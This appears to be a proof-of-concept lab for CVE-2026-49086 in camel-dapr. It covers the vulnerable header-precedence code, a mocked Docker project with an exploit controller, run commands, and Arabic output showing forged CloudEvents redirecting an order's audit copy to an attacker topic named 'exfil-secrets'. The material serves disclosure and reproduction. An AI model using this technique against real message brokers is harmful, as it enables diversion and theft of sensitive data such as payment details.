// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName());   // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC,       cloudEvent.getTopic());        // CamelDaprTopic

// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
        ? fallbackFn.get()            // endpoint config (e.g. audit-broker/audit-log)
        : exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent

from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");

CVE-2026-49086/
├── pom.xml                 # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DaprMockConfig.java       # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
    │   ├── PublishRecorder.java      # records where the producer actually published
    │   ├── SubscriptionRegistry.java # captures the consumer's subscription listener
    │   ├── VictimRoutes.java         # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
    │   └── ExploitController.java    # attacker: deliver forged CloudEvents; compare publish target
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

=== CVE-2026-49086 — تجاوز رأس التوجيه لمستهلك camel-dapr (الوكيل المخدوع) ===

نية المسار: عكس كل طلب إلى تيار تدقيق ثابت
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")

1) حدث طلب عادي (غلاف pubsub=orders-broker topic=orders)
     نسخة التدقيق نُشرت فعليًا إلى: orders-broker / orders
     -> بالفعل ليست audit-broker/audit-log المُهيأة: حقول التوجيه من الغلاف تسربت إلى المُنتِج.

2) حدث طلب ضار (غلاف مزيف: pubsub=attacker-broker topic=exfil-secrets)
     نسخة التدقيق نُشرت فعليًا إلى: attacker-broker / exfil-secrets
     بيانات الطلب المسربة: {"orderId":"A-1002","card":"4111-2222-3333-4444"}

>>> تم الإثبات: تجاوز pubsubName/topic الخاص بـ CloudEvent الوارد هدف التدقيق الثابت في المسار،
>>> لذا فإن المهاجم الذي يمكنه النشر إلى 'orders' يُعيد توجيه نسخة الطلب إلى
>>> مكون نشر/اشتراك + موضوع عشوائي (تسريب بيانات / تجاوز توجيه): true